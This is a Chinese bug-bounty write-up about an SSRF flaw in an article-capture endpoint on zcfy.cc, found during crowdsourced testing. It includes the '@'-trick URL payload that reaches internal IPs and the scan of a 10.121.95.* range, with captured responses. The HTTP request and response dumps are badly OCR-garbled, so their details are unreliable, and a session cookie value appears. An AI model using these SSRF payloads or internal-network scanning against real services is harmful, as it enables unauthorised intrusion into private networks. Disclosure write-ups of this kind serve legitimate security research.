感谢 it小丑大佬  hello world大佬 两位大佬的帮助下真实确认了此处ssrf漏洞的存在，在此学习了。
当时在众测360旗下的产品
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找到一个可疑点，这个位置是用来找外部的文章的，但是通过自己的感觉，这个位置感觉存在ssrf，当时抓个包，然后写成百度的地址，不太敢确认这个漏洞是否存在，但是还是没放弃，深入挖掘

当时请教了两个信任的朋友，hello world 跟it小丑 ，在两位表哥的帮助下，确实确认了这个漏洞的存在，it小丑师傅找到一处存在80端口的内网ip给我
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POST /original/capturepage HITP/1.1 HITP/1.1 200 0K =
Host: www. zcfy. cc Server: nginx/1.9.15

Content-Length: 42 Date: Wed, 13 Dec 2017 06:37:32 GNMT

Accept: application/json, text/javascript, */%; g Content-Type: application/json; charset=utf-g

Origin: http://www. zcfy. cc Connection: close

K Requested ¥ith: LR tpRequest Povered By: thinkis-2.2.15

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_13_2) Content-Length: 201

AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.3239.84

Safari/537. 36 {"errno”:0, “errmsg”: ", “data”: {"wrl”: "http: //www. baidu. con@10.
Content-Type: application/x—www—formurlencoded; charset=UTF-8 121.95.65:80\r'\n", 'n(]e"'We]cume to nginx!”, “content”: "%

DNT: 1 Welcome to nginx!”, “htnl”:"<hl

Referer: http://www. zcfy. cc/clain )d:\'we]cume’(u’ng)nx’\ Welcone to nginx! </nh1>\n"1}

Accept-Language: zh-Cll, zh;g=0.9, en;g=0.8
Cookie: thinkjs=vIfz_hhDkdsMqIOXOnBWEQkRsPYoOLWn;

‘e hx£=CLDp TH7__ybUL SWE0zDEuL0zHBGPq T te TWFUJSHSDEV axE189 18
Ob1BSMVEIK; user_favorite=original; User_Self Recommend=yes;
User_Self_Recommend_Url=http: //ww. biadu. con/

Connection: close

fsnww. bai du. con@10. 121. 95. 65
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返回到了内网的信息，很明显是内网某处位置的，下面在对这个10.121.95.*的ip段扫描了一下，再次确认了成功的侦测内网ip
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{“eramo”:0, “ersnsg”: ", “data”: {"url”: http: //uwww, baidu. con10. 121,95, 222\x'\n", “title”: Velcome
to nginx!”, “content”: “# Welcome to nginx!\n\nIf you see this page, the nginx web server is
successfully installed and\nvorking. Further configuration is requized. \n\wFor online
docunentation and support please refer to\nlngine. ore] (http: //nginx. org/). \n\nComnercial
support is available at\n[nginx. con] (http://nginx. con/). \n\n_Thank you for using

nginx. ", “htnl”: “<hl id=\"welcome~to-nginx-\">Welcome to nginx!</h1>\n<p>If you see this page,
the ngink web server is successfully installed and\nvorking. Further configuration is
required. </p>\n¢p>For online documentation and support please refer to\na

href=\"http: //nginx. ore/\ nginx. oxg</a>. </p>\n‘p>Comnercial support is available at\nca
href=\"http: //nginx. con/\ >nginx. con</a>. </p>\n<p><em>Thark you for using nginx. </en></p\n"H}
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Date: Ved, 13 Dec 2017 06:17:26 GHT
Content-Type: application/json; charset=utf-8
Comection: close

KPoveredBy: tharkjs-2.2.13

Content Lengthi 285

{"errno”:0, “errnsg”: ", “data’: {"wrl”: “http: //wnew. baidu. con®10. 121 95. 124\r\n", “title”: 104 Not
Found, “content”: *# Not Found\n\nThe requested URL / was not found on this

sexver.”, “htl”: “¢hl id=\"not-found\"Not Found/h1>\n‘p>The requested URL / was not found on
this server. </p>\n"}}
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